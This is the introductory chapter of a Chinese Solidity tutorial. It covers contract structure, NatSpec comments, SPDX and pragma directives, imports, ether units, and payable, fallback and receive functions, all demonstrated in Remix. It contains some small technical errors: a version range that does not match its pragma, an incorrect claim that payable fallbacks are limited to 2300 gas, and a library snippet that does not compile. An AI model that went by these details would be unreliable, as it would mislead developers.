Solidity 高级程序设计
前置说明:本教程的面向群体不是零基础 solidity 小白,不适合第一次接触 Solidity 的初学者;你需要在掌握 solidity 的基本用法这个前提下,才能更好的阅读和理解;最起码你需要有其他语言的生产级项目的编码水平,并且浏览过 Solidity 的官方 API 文档。本教程默认读者已经掌握了 Solidity 语言的基本用法,供查漏补缺和进阶提升使用。
注意:这个前置条件非常重要,如果你自己明明是零基础,也不会任何编程语言,还要装逼硬看本书;那么看的时候只能多暂停,多 Google 搜索了,实在看不懂也只能怪你自己太菜了。
运行环境:为了方便演示,本教程内所有的操作,均在 Remix 内进行,它可以直观快捷的做合约部署,测试,生成交互界面。学习的时候建议使用 Solidity 最新版本进行编码,最新版本可以在官方博客 blog.soliditylang.org 查看。
额外说明:本书的所有知识点都不会拿别的语言进行类比。很多写作者写 solidity 教程的时候,喜欢在介绍某个知识点时,拿自己之前熟悉的语言和 solidity 类比介绍(比如 C++,Python,Java,Javascript 等),初心是让读者可以更容易理解;但是事与愿违,很多时候读者可能并不了解写作者熟悉的那门语言,导致不举例还好,对比举例更迷糊了。学习编程是一件很严肃的事情,本书尽量避免无聊的调侃,类比和废话。
感想:这套《Solidity 高级程序设计》争取做到中文区 TOP1,为了让更多人参与和了解,我做了如下的配套资料。
Github 源文件:开放,让读者最低成本的参与优化和修复 - https://github.com/anbang/professional-solidity
在线文档:方便随时阅读(会墙内+墙外两套文档作为配套) - https://www.axihe.com/ - https://professional-solidity.readthedocs.io/zh_CN/latest/
PDF 文件:方便本地断网浏览 - 参见Github仓库
实体书籍:方便有读书习惯的人阅读。 - 参见 Github 仓库
所有的文档和源码全部开放,所有的配套视频也全部免费开放,并配有对应的 PDF 文件,PDF 文件也是免费的。如果你发现有哪里可以优化的,可以直接在 Github 仓库上提交你的改动;如果你想参与教程的修改和优化,改 Github 源文件是最低门槛的方式。
或者你认为本书有哪些缺失的细节,某些知识点不够细腻,可以提交你的观点,我做对应的补充;一句话”你对于某个知识点有任何改进建议,都可以提交你的看法”。
关于作者:
朱安邦:亚洲洲长,地球球长,银河系的最后守护者,人类文明的唯一指导者。
社交媒体信息:
我的推特:@anbang_account (❤️欢迎关注)
Discord 合约交流群:Solidity智能合约交流
Youtube: Anbang 的 Youtube 频道
Bilibili: Anbang 的 Bilibili 频道
合约初识
本章首先一笔带过的形式介绍了智能合约相关的区块链知识,这些将影响智能合约的逻辑。然后通过创建一个 Hello World 小例子作为正式学习的开始。引申出合约的注释,结构介绍以及以太币转账,合约的自我销毁。这些基本知识介绍完之后,通过3个小例子进行巩固和加深学习。最后通过一系列的问答题用于自测和以后回顾。
区块链基础
Solidity 是基于以太坊虚拟机(EVM)的智能合约开发语言,我们不需要关心所在区块链的底层实现逻辑,只要是兼容 EVM 的公链,我们都可以使用 Solidity 在上面进行智能合约开发。
在正式内容之前,我们简单的了解以下的基本概念:
事务
交易
地址
区块
存储/内存/栈
事务
事务意味着你想做的一系列操作,要么一点没做,要么全部完成。它具有原子性,不存在仅执行一部分的情况;事务在执行过程中发生错误,会被回滚(Rollback)到事务开始前的状态,就像这个事务从来没有执行过一样。
比如从 A 地址向 B 地址转账 100 元,那么数据库里 A 减 100 元,B 加 100 元。如果因为某些原因导致 A 已经减了 100 元,但是 B 加 100 元中间出现了异常。因为事务的原子性,发生失败后 A 和 B 地址都不会发生任何修改。这种场景在合约中经常发生,会经常看到 out of gas 异常,这是因为 gas 被耗尽。此时合约中做的所有修改都会被回滚。
gas 是作为用户为当前交易支付的手续费,每一笔交易都会收取 gas 费,目的是限制交易需要做的工作量,需要做的事情越多,所花费的 gas 也就越多;gas 会按照特定规则进行逐渐消耗,如果执行完成后还有剩余,gas 会在当前交易内原路返回到交易发起者的地址中。
交易
交易可以看作一个地址发送到另外一个地址的消息,可能包含一个二进制数据和以太币。
如果目标地址含有代码,则此代码会被执行,并以 payload 作为入参。
如果目标地址是零地址,此交易将创建一个新合约。
这时候用来创建合约的 payload 会被转为 EVM 字节码并执行,执行的输出作为合约代码永久存在区块链上。
所以如果创建一个合约,并不需要向链上发送实际的合约代码,只需发送能够产生合约代码的代码就可以。
区块链中的交易遵守事务的特性,交易总是由发送人(创建交易的地址)进行签名。区块链底层会确保只有持有该地址密钥的人才能发起交易。正因为这个特性,所以才能为区块链上特定状态的修改增加保护机制。
比如在合约中指定某一个方法只有管理员账号才可以可以调用,我们只需要验证调用者是否为管理员地址就可以了,至于地址保护的事情并不需要关心,只要是该账号发起的交易,就认为是管理员在操作。(安全方面我们需要考虑的是,如果某一个地址被盗了怎么样,比如用多签钱包来解决。通常这些是业务逻辑决定,而不是当前合约需要关心的事。)
地址
地址很多时候也被称为账户,EVM 中有两类地址,一类是外部地址,一类是合约地址。
外部地址:由公钥-私钥对控制
常用的助记词,keystore 文件等只是方便用户储存,底层还是会转成私钥。
一般是钱包应用创建的地址。公钥就是
0xABC
的这种以太坊收款地址,私钥可能是助记词生成,可能是 keystore 文件生成,也可能是用户直接保存的。
合约地址:由地址一起存储的代码控制。
无论外部地址,还是合约地址,对于 EVM 来说,都是一样的。每个地址都有一个键值对形式的持久化存储。其中 key 和 value 都是 256 位,我们称为存储。此外每个地址都会有一个以太币的余额,合约地址也是如此;余额会因为发送包含以太币的交易而改变。
比如一个 ERC20 Token 合约地址,它既可以作为普通地址用来接受 ETH 和其他资产,也可以作为合约地址进行对应 Token 资产的流转。
区块
你可能听过区块链的双花攻击,女巫攻击等作恶方式;如果你没有听过也没关系,因为它们对于智能合约开发来说并不重要,我们编写的 Solidity 代码能运行在以太坊网络,也可以运行在 BSC, Matic,Eos EVM 等网络,就像前文说的那样,无论他们采用什么底层逻辑,只要它们支持 EVM 就足够了,底层逻辑不用关心。
我们需要关心的是,区块可能被回滚,交易可能被作废,所以会出现你发起的交易被回滚甚至从区块链中抹除掉的可能。区块链不能保证当前的交易一定包含在下一个区块中。如果你开发的合约有顺序关系,要注意这个特性。合约内的逻辑,不能将某一个块作为依赖。如果业务逻辑与随机数有关系,还需要关心随机数作恶的问题,通常是采用 Chainlink VRF 这类解决方案。
存储/内存/栈
存储:每一个地址都有一个持久化的内存,存储是将 256 位字映射到 256 位字的键值存储区。所以数据类型的最大值是 uint256
/int256
/bytes32
,合约只能读写存储区内属于自己的部分。
内存:合约会试图为每一次消息调用获取一块被重新擦拭干净的内存实例。所以储存在内存中的数据,在函数执行完以后就会被销毁。内存是线性的,可按字节级寻址,但读的长度被限制为 256 位,而写的长度可以是 8 位或 256 位。
栈:合约的所有计算都在一个被称为栈(stack)的区域执行,栈最大有 1024 个元素,每一个元素长度是 256 bit;所以调用深度被限制为 1024 ,对复杂的操作,推荐使用循环而不是递归。
Hello World
Solidity 合约类似于面向对象语言中的类。合约中有用于数据持久化的状态变量,和可以修改状态变量的函数。 调用另一个合约实例中函数时,会切换执行时的上下文,此时前一个合约的状态变量就不能访问了。后面会逐步展开介绍,国际惯例,使用当前语言的 Hello World 作为第一个例子。
例子代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Hello {
string public message = "Hello World!"; // 状态变量
// 返回状态变量
function fn1() public view returns (string memory) {
return message;
}
// 内存中直接返回数据
function fn2() public pure returns(string memory){
return "Hello World!";
}
// 函数调用函数的使用方法: 没有 this 直接调用
function fn3() public pure returns(string memory){
return fn2();
}
}
编译和测试Solidity需要一系列的编程环境,比如Node,Web3.js,Ethers.js,Ganache,Truffle,Hardhat 等等。不同的团队有不同的环境标准,我们学习的是最核心最值钱的 Solidity 部分,所以环境部分直接使用 Remix 就好,开箱即用,这样可以最大精力的学习Solidity。
remix 编译,部署,运行
Remix IDE 是学习合约的好帮手,即开即用,无需各种依赖,让我们可以专注于合约的学习和开发。
Remix 在线编辑器地址: remix.ethereum.org
下面是 Remix 编译,部署,测试的简单介绍。
1.编写代码:点击左侧 File explorer,选择 workspace,然后点击 Create new file 图标,创建 helloword.sol
文件,文件内容是上面 Hello World 例子。
2.编译代码:点击左侧 Solidity compile,然后点击 Compile helloword.sol
,出现绿色的”对号”就是 compilation successful 了。(小技巧:选中此页面的 Auto compile 可以自动编译最新修改保存后的代码,推荐选中此选项。)
3.部署合约:点击左侧 Deploy & run transactions 页面,点击黄色按钮 「Depoly」,此时按钮下方区域会出现Deployed Contracts,这里就是刚刚部署出来的合约地址。
4.运行合约:展开Deployed Contracts中刚部署的合约,找到刚刚部署的 Hello 合约,点击 message
/fn1
/fn2
/fn3
按钮都可以读取到"Hello World!"
内容。
更多用法可以Remix文档内查看,建议不要在运行环境上面浪费超过半小时以上的精力,请珍惜自己的时间。
Hello World 例子分析
上面的代码获取 message 可以得到 "Hello World!"
,调用 fn1()
函数,也可以得到 "Hello World!"
; 这是因为 fn1
里面的逻辑是返回 message。通过这个例子可以发现,合约内调用变量并不需要使用 this
之类的关键字,直接使用即可,调用函数也是如此,直接 fnName([x])
就可以。
通过 Remix 调用详情我们可以发现,他们消耗的 gas 不相同。通常直接获取 message
更省钱,因为 message
储存在状态变量中,而函数fn1
是读取了状态变量然后再返回出去。但是在 Remix 中有时候得到的结果却并不相同,不用太相信 Remix 内的 gas。在 Remix 中,代码顺序,变量名/函数名长短的修改都可以影响 gas 消耗,仅仅作为参考即可。
在编写 solidity 代码时,保证安全的前提下,让合约消耗更少的 gas 是一个重要的优化方向。后面会有专门的一章进行 gas 优化的探讨,这里不再多展开。
合约代码中的三种注释
我们看到第一行的代码是 // SPDX-License-Identifier: MIT
这里面的 //
符号,是注释符;用来标记和记录代码开发相关的事情,注释的内容是不会被程序运行的。Solidity 支持单行注释和块注释,注释是为了更好的解释代码。有些人的观点是:我的代码像诗一样优雅,有注释的代码都存在着一些瑕疵,认为足够完美的代码是不需要注释的。请大家不要相信好的代码不需要注释的这种鬼话。代码中加入注释可以更好的团队协作,如有必要甚至还需要说明文档,这可以让自己更好的进行代码开发,让阅读者更快捷的理解代码逻辑。在实际工作中经常会出现自己写的代码一年半载之后再看,可能需要花费不必要的时间在理解复杂的的代码逻辑上,如果再没有设计图或代码注释,简直想骂人。
Solidity 支持 3 种注释方式;
单行注释
块注释
NatSpec 描述注释
单行注释
格式: // 注释内容
// SPDX-License-Identifier: MIT
string message = "Hello World!"; // 这是单行注释
如上,//
后面的内容都会被编译器忽略,为了可读性,一般会在 //
后面加一个空格。
块注释
格式如下,在 /*
与 */
之间的内容,都被编译器忽略
/*
这是块注释
*/
为了可读性,一般块注释的行首都加 *
和空格,如下
/**
* 这是块注释
* 这是块注释
*/
NatSpec 描述注释
单行使用 ///
开始,多行使用 /**
开头以 */
结尾。NatSpec 描述注释的作用非常重要,它是为函数、返回变量等提供丰富的文档。在编写合约的时候,强烈推荐使用 NatSpec
为所有的开放接口(所有在 ABI
里呈现的内容)进行完整的注释。
简单演示
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/// @title 一个简单的数据存储演示
/// @author Anbang(亚洲洲长,地球球长,银河系的最后守护者,人类文明的唯一指导者)
/// @notice 您智能将此合约用于最基本的演示
/// @dev 提供了存储方法/获取方法
/// @custom:xx 这是实验的测试合约(自定义的描述)
contract TinyStorage {
// data
uint256 storedData;
/// @notice 储存 x(第一种 NatSpec 写法)
/// @param _x: storedData 将要修改的值
/// @dev 将数字存储在状态变量 storedData 中
function set(uint256 _x) public{
storedData = _x;
}
/**
* @notice 返回存储的值(第二种 NatSpec 写法)
* @dev 检索状态变量 storedData 的值
* @return 储存值
*/
function get() public view returns(uint256){
return storedData;
}
}
上面所有标签都是可选的。下表解释了每个 NatSpec 标记的用途以及可以使用在哪些位置。我们可以选择合适的标记进行记录
标签 | 说明 | 语境 |
---|---|---|
@title |
描述 contract/interface 的标题 | contract, interface, library |
@author |
作者姓名 | contract, interface, library |
@notice |
向最终用户解释这是做什么的 | contract, interface, library, function, 公共状态变量 event |
@dev |
向开发人员解释任何额外的细节 | contract, interface, library, function, 状态变量, event |
@param |
记录参数(后面必须跟参数名称) | function, event, 自定义错误 |
@return |
函数的返回变量 | function, 公共状态变量 |
@inheritdoc |
从基本函数中复制所有缺失的标签 (必须后跟合约名称) |
function, 公共状态变量 |
@custom:... |
自定义标签,语义由应用程序定义 | 所有位置均可以 |
文档输出
使用 NatSpec
描述注释的另一个好处是,当被编译器解析时,上面示例中的代码将生成两个不同的 JSON 文件。
User Documentation:供最终用户在执行功能时作为通知使用的
Developer Documentation:供开发人员使用的。
如果将上述合约另存为,a.sol
则您可以使用以下命令生成文档:
solc --userdoc --devdoc a.sol
如果是在 Remix 内编写的代码。编译合约的时候会在 artifacts 文件夹中自动生成。
继承说明
如果函数是继承别的合约,没有 NatSpec 的函数将自动继承其基本函数的文档。但是下面三种情况是例外的:
当参数名称不同时。
这时候是函数的重载,函数签名已经发生了改变。
当有多个基本功能时。
这时候因为发生了冲突,supper 中有多个父级
当有一个明确的
@inheritdoc
标签指定应该使用哪个合约来继承时。
更多 NatSpec 请参考: https://github.com/aragon/radspec
合约结构介绍
SPDX 版权声明
pragma solidity 版本限制
contract 关键字
import 导入声明
interface: 接口
library:库合约
SPDX 版权声明
Hello World 合约的第 1 行 // SPDX-License-Identifier: MIT
就是合约的版权声明。其中 SPDX-License-Identifier (SPDX 许可标示) 是标注当前的智能合约采用什么样的对外开放标准,该标准规定了别人是否拥有商业开发,学习使用等权利。代码中使用的 MIT
规定了其他人随便用该代码,但出问题不负责。
SPDX 许可标示在文件的任何位置都可以被编译器识别到,按照规范建议把它放在文件的顶部第一行。
如果一个项目开源了智能合约的源代码,可以更好地建立社区信任。但是由于提供源代码就不可避免的涉及到版权或者法律问题。所以 solidity 鼓励开源,但是开源并不等于放弃版权。如果你不想指定任何许可证,或者代码就是不想开源,Solidity 推荐使用 UNLICENSED
;UNLICENSED
不存在于 SPDX 许可证列表中,与 UNLICENSE (授予所有人所有权利)不同,它比 UNLICENSE
多一个 D
字母。
更多的 SPDX-License-Identifier 类型介绍,参照文章 SPDX License List(https://spdx.org/licenses/) 详细阅读,Solidity 遵循 npm 的 license 建议。根据自己的合约情况,选择合适的版权声明可以避免很多不必要的版权麻烦。
需要注意: 编译器不会验证代码中 SPDX 许可标示是否符合规范,比如我可以写为 // SPDX-License-Identifier: ANBANG
,并不会影响代码的运行。但是这里的 ANBANG 标示会被原样打包在 bytecode metadata
里。
bytecode metadata 介绍
当我们使用 remix
编译合约的时候,会在根目录创建 artifacts
文件夹,其中包含 build-info
记录构建信息的文件夹,以及每个合约名字作为文件名的文件夹,比如 contract Hello
将生成
Hello.json
文件Hello_metadata.json
文件
Hello.json
文件结构
{
deploy: {},
data: {
bytecode: {},
deployedBytecode: {},
gasEstimates: {},
methodIdentifiers: {},
},
abi: [],
};
Hello_metadata.json
文件结构
{
compiler: {
version: "0.8.17+commit.xxx",
},
language: "Solidity",
output: {
abi: [],
devdoc: {},
userdoc: {},
},
settings: {},
sources: {
"aaa.sol": {
keccak256:
"0x637c141739144cd991b9350336a1f8c3b948811d7ed743fefb4aad99d7bb362f",
license: "ANBANG",
urls: [
"bzz-raw://9eea517225b90242d6e3761046f5f5a8f0a2393747c89f3af01f34ad00764dc4",
"dweb:/ipfs/QmXp5wap9ZNC9fihdA7aLMe7bKWBjeAuv7khEuvKrgp9Bx",
],
},
},
version: 1,
};
// SPDX-License-Identifier: ANBANG
中的 ANBANG
就是在 sources -> filename.sol -> license
中
pragma solidity 版本限制
Hello World 合约的第 2 行 pragma solidity ^0.8.18;
指令,它是告诉编译器,我当前的合约代码采用大于等于 0.8.17,小于 0.9.0 的版本进步编译,解析部署时需要在匹配的版本下进行,在区块链浏览器上进行合约验证时,也需要选择部署时的编译版本。
使用 ^
的意义和优点
而 ^0.8.17
中的 ^
表示小版本兼容,大版本不兼容,相当于 pragma solidity >= 0.8.17 < 0.9.0;
。他既不允许低于0.8.17
的编译器编译,也不允许大于等于 0.9.0
版本的编译器进行编译。之所以这么写,不写死 pragma solidity 0.8.17;
是为了可以享受到编译器的补丁版,比如以后出来了 0.8.40
版本,那么当前合约是可以运行在未来的 0.8.40
这个新版本的编译器。但是如果是大版本升级到了 0.9.0
,那么编译器不会用新版的0.9.x
解析,会使用 0.8 的最后一个稳定版本来进行解析编译。这里如果不加 ^
,直接写pragma solidity 0.8.17;
,就是告诉编译器,当前合约只选择在 0.8.17
版本来编译和部署;这样做的缺点就是享受不到以后出的补丁版的编译器。
跨大版本的合约
如果你打算跨大版本的合约,可以使用>
,>=
,<
,<=
来操作,比如 pragma solidity >=0.7.0 <0.9.0;
。
注意:pragma
指令只对当前的源文件起作用,如果把文件 B
导入到文件 A
,文件 B 的 pragma 将不会自动应用于文件 A。
总结:
pragma solidity ^0.8.18;
是用来告诉编译器当前代码的适用版本情况。pragma
指令只对当前的源文件起作用。
注:一份源文件可以包含多个版本声明、多个导入声明和多个合约声明。
contract 关键字
Hello World 合约的第 3 行的 contract Hello {}
是合约的基本结构;其中 contract
声明了当前代码块内是一个完整的合约。而 Hello
是当前合约的名字,合约名称是必须的,首字母一般采用大写字母开头。
contract
代表特殊的意义,这种有特殊意义的词,在编程界里一般被称为 保留关键字
;保留关键字是现在或者将来被用到的特殊代指,都有固定意义,所以保留关键字不能作为变量名和函数名字。
contract 基本结构是
contract ContractName {}
Solidity 合约中,合约的名字是必须的。
合约的名称,一般约定为 大驼峰命名方式
contract 是保留关键字
保留关键字不能作为变量名和函数名
注:一份源文件可以包含多个版本声明、多个导入声明和多个合约声明。
变量
合约内的 message
叫做状态变量,状态变量是永久地存储在合约存储中的值。关于变量的更多信息,会在后续 变量 那一章详细介绍
函数
函数是代码的可执行单元,是一组逻辑的集合。关于变量的更多信息,会在后续 函数 那一章详细介绍
this 关键字
Solidity 中 this
代表合约对象本身;
可以通过
address(this)
获取合约地址。可以通过
this.fnName
获取external
函数
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function contractAds() external view returns (address) {
return address(this);
}
function testExternal() external view returns (address) {
return this.contractAds();
}
}
三种地址身份
合约地址
合约创建者地址
合约调用者地址
这三个地址概念要完全理解。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 这三个地址的概念一定要理解清楚
contract Demo {
address public owner;
constructor() {
// 可以用在 constructor 内获取当前合约地址
owner = address(this);
// 不可以在构造函数内调用函数,因为此时合约还没有完成构建好。
// this.caller(); 相当于从外部调用 caller 方法
// owner = this.caller();
}
function caller() external view returns (address) {
return this.contractAds(); // 内部调用 external 可见性的函数
}
function contractAds() external view returns (address) {
return address(this);
}
}
合约属性:type 关键字
type(C).name
:获得合约名type(C).creationCode
:获得包含创建合约字节码的内存字节数组。它可以在内联汇编中构建自定义创建例程,尤其是使用 create2 操作码。 不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。type(C).runtimeCode
:获得合约的运行时字节码的内存字节数组。这是通常由 C 的构造函数部署的代码。 如果 C 有一个使用内联汇编的构造函数,那么可能与实际部署的字节码不同。 还要注意库在部署时修改其运行时字节码以防范定期调用(guard against regular calls)。 与 .creationCode 有相同的限制,不能在合约本身或派生的合约访问此属性。 因为会引起循环引用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Hello {
string public message = "Hello World!";
}
contract Demo {
function name() external pure returns (string memory) {
return type(Hello).name;
}
function creationCode() external pure returns (bytes memory) {
return type(Hello).creationCode;
}
function runtimeCode() external pure returns (bytes memory) {
return type(Hello).runtimeCode;
}
}
除了上面介绍的版权声明,版本限制,contract 外,合约文件还包括 import
, interface
,library
,一起展开介绍下
import 导入声明
功能:从其他文件内倒入需要的变量或者函数。
导入方式
既可以导入本地文件,也可以导入 url (网络上的 ipfs,http 或者 git 文件)
导入所有的全局标志
import "filename";
到当前全局范围导入本地文件:
import "./ERC20.sol";
,其中./
表示当前目录,查找路径参考导入网络文件:
import "https://github.com/aaa/.../tools.sol";
导入本地 NPM 库:
$ npm install @openzeppelin/contracts
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
导入所有的全局标志,并创建新的全局符号
方式一:
import * as symbolName from "filename";
方式二:
import "filename" as symbolName;
按需导入,按需修改名称
import {symbol1 as aliasName, symbol2} from "filename";
不推荐导入变量标示名到当前全局范围的方式,因为一份源文件可以包含多个版本声明、多个导入声明和多个合约声明,不可控,容易污染当前的命名空间。如果全局导入,推荐使用 import "filename" as symbolName;
导入时候的本地路径
上文中的 filename 总是会按路径来处理,以 /
作为目录分割符、以 .
标示当前目录、以 ..
表示父目录。 当 .
或 ..
后面跟随的字符是 /
时,它们才能被当做当前目录或父目录。 只有路径以当前目录 .
或父目录 ..
开头时,才能被视为相对路径。
用 import "./x.sol" as x;
语句导入当前源文件同目录下的文件 x.sol
。 如果用import "x.sol" as x;
代替,可能会引入不同的文件(在全局 include directory
中)。
最终导入哪个文件取决于编译器是怎样解析路径的。 通常,目录层次不必严格映射到本地文件系统, 它也可以映射到能通过诸如 ipfs,http 或者 git 发现的资源。
interface: 接口
接口使用案例
在下面的例子中,定义了 cat 合约以及 dog 合约。他们都有 eat
方法.以此他们都可以被上面的 animalEat
接口所接收。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Cat {
uint256 public age;
function eat() public returns (string memory) {
age++;
return "cat eat fish";
}
function sleep1() public pure returns (string memory) {
return "sleep1";
}
}
contract Dog {
uint256 public age;
function eat() public returns (string memory) {
age += 2;
return "dog miss you";
}
function sleep2() public pure returns (string memory) {
return "sleep2";
}
}
interface AnimalEat {
function eat() external returns (string memory);
}
contract Animal {
function test(address _addr) external returns (string memory) {
AnimalEat general = AnimalEat(_addr);
return general.eat();
}
}
type(I).interfaceId
返回接口I
的 bytes4
类型的接口 ID,接口 ID 被定义为 XOR (异或) 接口内所有的函数的函数选择器(除继承的函数。
上面的代码中,可以增加如下的函数来查看 interfaceId
;
contract Animal {
// ...
function interfaceId() external pure returns (bytes4) {
return type(AnimalEat).interfaceId;
}
}
更多内容在 Interface:接口 那一章详细介绍,这里仅作初识了解。
library:库合约
库与合约类似,但它的目的是在一个指定的地址,且仅部署一次,然后通过 EVM 的特性来复用代码。
library Set {
struct Data { mapping(uint => bool) flags; }
function test(){
}
}
其他合约调用库文件的内容直接通过库文件名.方法名例如:Set.test()
。
更多内容在 Library:库 那一章详细介绍,这里仅作初识了解。
全局的以太币单位
现实生活中经常会听说例如从提现 1.5 个以太币,或者某笔交易手续费花了 0.02 个以太坊等。这些带有小数点的数字是日常交流使用的。但是在合约内,却没有这种小数概念的货币金额。比如 1 个 ETH 的金额是 10**18 wei
。
基础单位
为了方便合约开发者操作,也提供如下这种便捷的换算方式。
以太币单位之间的换算就是在数字后边加上 wei
、 gwei
、 ether
来实现的,如果后面没有单位,缺省为 wei
。例如 1 ether == 1e18
的逻辑判断值为 true。
1 ether = 1e18
1 gwei = 1e9
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 返回 true
function test() public pure returns (bool a,bool b,bool c) {
a = 1 wei == 1;
b = 1 gwei == 1e9;
c = 1 ether == 1e18;
}
}
变量使用以太币单位
以太币单位不能直接用在变量后边。如果想用以太币单位来计算输入参数,你可以使用算术来转换,比如: amountEth * 1 ether
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public amount;
constructor() {
amount = 1;
}
function fnEth() public view returns (uint256) {
return amount + 1 ether; // 1000000000000000001
}
function fnGwei() public view returns (uint256) {
return amount + 1 gwei; // 1000000001
}
// 这些后缀不能直接用在变量后边。如果想用以太币单位来计算输入参数,你可以用如下方式来完成:
function testVar(uint256 amountEth) public view returns (uint256) {
return amount + amountEth * 1 ether;
}
}
接收 ETH
三个关键字
payable
使用 payable 标记的函数可以用于发送和接收 Eth。
使用 payable 标记的地址变量,允许发送和接收 Eth。
fallback
一个合约可以最多有一个回退函数。
receive
一个合约最多有一个
receive
函数
fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,它们前面不需要加 function
这个关键字。加上 function
之后,它们就变成了一般的函数,只能按一般函数来去调用。同时 receive
和 fallback
需要注意 gas 消耗。
本节介绍的是合约如何接收 ETH,至于合约如何发送 ETH,请阅读 两种形式的地址 这一节。
payable
使用 payable 标记的函数可以用于发送和接收 Eth。
payable 意味着在调用这个函数的消息中可以附带 Eth。
使用 payable 标记的 地址变量,允许发送和接收 Eth。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Payable {
// payable 标记函数
function deposit1() external payable {}
function deposit2() external {}
// payable 标记地址
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
// 通过 balance 属性,来查看余额。
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
可以使用 deposit1 存款,但是如果使用 calldata 转账,则会失败,报错 In order to receive Ether transfer the contract should have either ‘receive’ or payable ‘fallback’ function,我们接下来介绍 fallback 和 receive。
fallback
fallback 函数是调用合约没有的方法时候执行,同时也可以设置为允许接收网络主币。
语法
不带参数:
fallback () external [payable]
带参数:
fallback (bytes calldata input) external [payable] returns (bytes memory output)
没有
function
关键字。必须是external
可见性,
// function fallback() external payable {} // 正确写法不带 function,直接写 fallback,fallback 如果使用 function 修饰,则有警告 // This function is named "fallback" but is not the fallback function of the contract. // If you intend this to be a fallback function, use "fallback(...) { ... }" without // the "function" keyword to define it.
fallback 函数类型可以是
payable
,也可以不是payable
的;如果不是
payable
的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是
payable
的,自然也就可以接受转账了。
尽管
fallback
可以是 payable 的,但并不建议这么做,声明为payable
之后,其所消耗的 gas 最大量就会被限定在 2300。它可以是
virtual
的,可以被重载也可以有修改器(modifier)。
回退函数在两种情况被调用:
向合约转账;
如果使用 call 转账,会执行 fallback。
如果使用合约内已有的
deposit
转账,不会执行 fallback
执行合约不存在的方法
就会执行 fallback 函数。(执行合约不存在的方法时执行)
向合约转账
fallback 函数始终会接收数据,但为了同时接收以太时,必须标记为 payable
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Payable {
event Log(string funName, address from, uint256 value, bytes data);
function deposit() external payable {}
// 通过 balance 属性,来查看余额。
function getBalance() external view returns (uint256) {
return address(this).balance;
}
fallback() external payable {
emit Log("fallback", msg.sender, msg.value, msg.data);
}
}
执行合约不存在的方法
如果在一个对合约调用中,没有其他函数与给定的函数标识符匹配 fallback 会被调用.或者在没有 receive 函数时,而没有提供附加数据对合约调用,那么 fallback 函数会被执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract StoneCat {
uint256 public age = 0;
event eventFallback(string);
// 发送到这个合约的所有消息都会调用此函数(因为该合约没有其它函数)。
// 向这个合约发送以太币会导致异常,因为 fallback 函数没有 `payable` 修饰符
fallback() external {
age++;
emit eventFallback("fallbak");
}
}
interface AnimalEat {
function eat() external returns (string memory);
}
contract Animal {
function test1(address _addr) external returns (string memory) {
AnimalEat general = AnimalEat(_addr);
return general.eat();
}
function test2(address _addr) external returns (bool success) {
AnimalEat general = AnimalEat(_addr);
(success,) = address(general).call(abi.encodeWithSignature("eat()"));
require(success);
}
}
上面例子种,执行 StoneCat 合约 calldata,参数 0x00
可以成功,但是如果发送了以太币,则会失败,因为没有 paybale。
直接使用方法是不行的,但是可以通过 call 调用,因为 call 不检查,这也官方是不推荐使用 call 的原因。
带参数的 fallback
fallback 可以有输入值和输出值,都是 bytes
类型的数据。如果使用了带参数的版本,input
将包含发送到合约的完整数据,参数 input 等于msg.data
,可以省略,并且通过 output
返回数据。 返回数据不是 ABI 编码过的数据,相反,它返回不经过修改的数据。与任何其他函数一样,只要有足够的 gas 传递给它,回退函数就可以执行复杂的操作。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public inputData1;
bytes public inputData2;
fallback (bytes calldata input) external returns (bytes memory output){
inputData1 = input;
inputData2 = msg.data; // input 等于 msg.data
return input;
}
}
⚠️ 如果想要解码输入数据,那么前四个字节用作函数选择器,然后用abi.decode
与数组切片语法一起使用来解码 ABI 编码的数据:
(c, d) = abi.decode(_input[4:], (uint256, uint256));
请注意,这仅应作为最后的手段,而应使用对应的函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract StoneCat {
uint256 public age = 0;
bytes public inputData1;
bytes public inputData2;
uint256 public c;
uint256 public d;
event eventFallback(string);
fallback (bytes calldata input) external returns (bytes memory output){
age++;
inputData1 = input;
inputData2 = msg.data;
(c, d) = abi.decode(msg.data[4:], (uint256, uint256));
emit eventFallback("fallbak");
return input;
}
}
interface AnimalEat {
function eat() external returns (string memory);
}
contract Animal {
function test2(address _addr) external returns (bool success) {
AnimalEat general = AnimalEat(_addr);
(success, ) = address(general).call(abi.encodeWithSignature("eat()",123,456));
require(success);
}
}
receive 以太函数
receive 只负责接收主币,一个合约最多有一个 receive
函数
语法
receive() external payable {}
没有
function
关键字
// function receive() external payable {} // receive 如果使用 function 修饰,则有如下警告 // This function is named "receive" but is not the receive function of // the contract. If you intend this to be a receive function, // use "receive(...) { ... }" without the "function" keyword to define it.
没有参数、没有返回值。
external payable
是必须的receive 函数类型必须是
payable
的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。
它可以是
virtual
的,可以被重载也可以有 修改器(modifier) 。如果没有定义
接收函数 receive
,就会执行fallback
函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
event Log(string funName, address from, uint256 value, bytes data);
receive() external payable {
// receive 被调用的时候不存在 msg.data,所以不使用这个,直接用空字符串
emit Log("receive", msg.sender, msg.value, "");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
上面例子通过 calldata 执行转账,无参数时候会触发 receive 函数。但是如果有参数,比如0x00
,则会报错 ‘Fallback’ function is not defined
在对合约没有任何附加数据调用(通常是对合约转账)是会执行 receive
函数.例如 通过 .send()
or .transfer()
。
